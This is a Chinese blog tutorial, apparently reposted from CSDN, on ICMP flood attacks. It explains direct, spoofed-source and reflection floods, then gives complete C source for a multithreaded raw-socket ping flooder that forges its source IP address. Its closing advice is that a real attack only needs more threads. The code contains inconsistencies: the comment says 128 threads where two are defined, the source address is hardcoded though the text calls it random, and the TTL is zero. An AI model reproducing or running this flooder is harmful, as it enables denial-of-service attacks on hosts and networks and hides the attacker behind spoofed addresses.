Linux网络编程之ICMP洪水攻击

1. ICMP洪水攻击原理

ICMP洪水攻击基于PING协议,通过发送大量的PING包来攻击目标主机,主要攻击有3类:

(1)直接洪水攻击,即通过多线程的方式一次性发送大量的ICMP包,其缺点是容易暴露,对方知道你的IP,可以直接屏蔽

(2)伪装IP攻击, 在直接洪水攻击的基础上,将发送方的IP地址用伪装的IP地址来代替

(3)反射攻击, 伪装目标主机向一群主机发送ICMP请求包,这样,这些主机就会向目标主机发送ICMP响应包,达到攻击的目的


2. ICMP洪水攻击实现

建立多线程,向目标主机发送大量的ICMP包,以此来攻击目标主机.

#include <stdio.h>
#include <ctype.h>
#include <unistd.h>
#include <stdlib.h>
#include <sys/socket.h>
#include <sys/time.h>
#include <sys/signal.h>
#include <fcntl.h>
#include <time.h>
#include <netdb.h>
#include <errno.h>
#include <netinet/ip_icmp.h>
#include <string.h>
/**
ICMP洪水攻击:
原理:一次性向ICMP目的主机发送大量的ICMP包让目的主机处理不过来,这样目的主机就会变得很慢,甚至宕机.
直接洪水攻击:容易暴露,对方屏蔽你的IP地址
伪装IP地址:伪装IP地址,进行洪水攻击
反射攻击:伪装目的主机的IP地址向一帮主机发送ICMP回显请求包,这样这些主机就会向目的主机发送ICMP回显响应包,达到攻击目的主机的目的。
**/
#define MAXCHILD 2
static unsigned long dest=0;//目的IP地址
static int PROTO_ICMP=-1;//ICMP协议值
static alive=1;//程序活动标志
static int rawsock;
static void DoS_sig();
void DoS_fun(unsigned long ip);
void DoS_icmp(void);
static inline long myrandom(int begin,int end){//根据不同的种子,随机出不同的数
 int gap=end-begin+1;
 int ret=0;
 //系统时间初始化
 srand((unsigned)time(0));
 ret=random()%gap+begin;//介于begin与end之间的值
 return ret;
}

 void DoS_fun(unsigned long ip){
   while(alive){
     DoS_icmp();//一直发送ICMP回显请求包
}
}
static unsigned short icmp_cksum(unsigned char* data,int len){//校验和函数,通用算法
 int sum=0;
 int odd=len&0x01;
unsigned short *value=(unsigned short*)data;
while(len&0xfffe){
  sum+=*(unsigned short*)data;
  data+=2;
  len-=2;
}


if(odd){
  unsigned short tmp=((*data)<<8)&0xff00;
  sum+=tmp;
}
sum=(sum>>16)+(sum&0xffff);
sum+=(sum>>16);
return ~sum;
}
 void DoS_icmp(void){
   struct sockaddr_in to;
   struct ip *iph;
   struct icmp *icmph;
   char*packet;
   struct in_addr src;
   struct in_addr dst;
   int pktsize=sizeof(struct ip)+8+64;//IP数据包的长度,IP的头部,icmp的头部和56个字节的数据
   packet=malloc(pktsize);//为数据包分配空间
   iph=(struct ip*)packet;//IP的头部指针
   icmph=(struct icmp*)(packet+sizeof(struct ip));//ICMP的头部指针
   memset(packet,0,pktsize);//将数据包的所有部分清0
  //填充IP头部
  iph->ip_v=4;//IP的版本,IPv4
  iph->ip_hl=5;//IP头部长度,20个字节5*4
  iph->ip_tos=0;//服务类型
  iph->ip_len=htons(pktsize);//IP报文的总长度
  iph->ip_id=htons(getpid());//标识设置为进程PID
  iph->ip_off=0;//段的偏移地址
  iph->ip_ttl=0;//生成时间
  iph->ip_p=PROTO_ICMP;//协议类型为ICMP包
  iph->ip_sum=0;//校验和
  src.s_addr=inet_addr("222.27.253.108");
  iph->ip_src=src;//发送的源地址,伪装IP
  dst.s_addr=dest;
  iph->ip_dst=dst;//发送的目的地址
  iph->ip_sum=icmp_cksum((unsigned char*)iph,sizeof(struct ip));//检验和,IP首部长度
  //填充ICMP头部 发送ICMP回显请求包与ICMP回显响应包,因此icmp_type为8,icmp_code为0,数据部分为0
  icmph->icmp_type=ICMP_ECHO;
  icmph->icmp_code=0;
  icmph->icmp_cksum=icmp_cksum((unsigned char*)icmph,64+8);//数据长度与首部长度之和
  //icmph->icmp_cksum=htons(~(ICMP_ECHO<<8));
//发送的目的地址
  to.sin_family=AF_INET;
  to.sin_addr.s_addr=iph->ip_dst.s_addr;
  to.sin_port=htons(0);
  //发送ICMP包
  int size=sendto(rawsock,packet,pktsize,0,(struct sockaddr*)&to,sizeof(struct sockaddr));//pktsize包含IP首部的长度
  free(packet);//释放分配的内存空间

}
static void DoS_sig(){
  alive=0;
  printf("exit.....\n");
  return;

}


//主函数
int main(int argc,char*argv[]){
 struct hostent*host=NULL;
 struct protoent *protocol=NULL;
 int i=0;
 char protoname[]="icmp";
 pthread_t pthread[MAXCHILD];//线程数组  
 int err=-1;
 alive=1;
 signal(SIGINT,DoS_sig);
 if(argc<2){
    return -1;
}

//获得协议类型
protocol=getprotobyname(protoname);
if(protocol==NULL){
  perror("getprotobyname");
  return -1;
}
PROTO_ICMP=protocol->p_proto;
dest=inet_addr(argv[1]);
if(dest==INADDR_NONE){
  struct sockaddr_in dst;
  host=gethostbyname(argv[1]);
  if(host==NULL){
   perror("gethostbyname");
  return -1;
}

memcpy((char*)&dst,host->h_addr,host->h_length);
dest=dst.sin_addr.s_addr;
}
//建立原始套接字
rawsock=socket(AF_INET,SOCK_RAW,PROTO_ICMP);
//设置IP选项,手动填充IP头部信息,设置套接字选项
setsockopt(rawsock,SOL_IP,IP_HDRINCL,"1",sizeof("1"));
//建立多线程,128个线程同时发ICMP包
for(i=0;i<MAXCHILD;i++){
  err=pthread_create(&pthread[i],NULL,DoS_fun,NULL);
}
//等待线程结束
for(i=0;i<MAXCHILD;i++){
  pthread_join(pthread[i],NULL);

}
close(rawsock);

return 0;
}

通过tcpdump可以看出发出去的请求包与响应包.

命令1: tcpdump

命令2: tcpdump dst host 222.27.253.108

说明:本程序中的IP地址是随机的,可以达到伪装IP地址的目的。在实际的攻击中,把线程数设置大一些即可。


总结: 本文主要是利用原始套接字伪装IP地址来实现ICMP洪水攻击.让服务器接收到大量的ICMP包,造成服务器超负载,从而达到攻击的目的。


















猜你喜欢

转载自blog.csdn.net/chenjin_zhong/article/details/7271893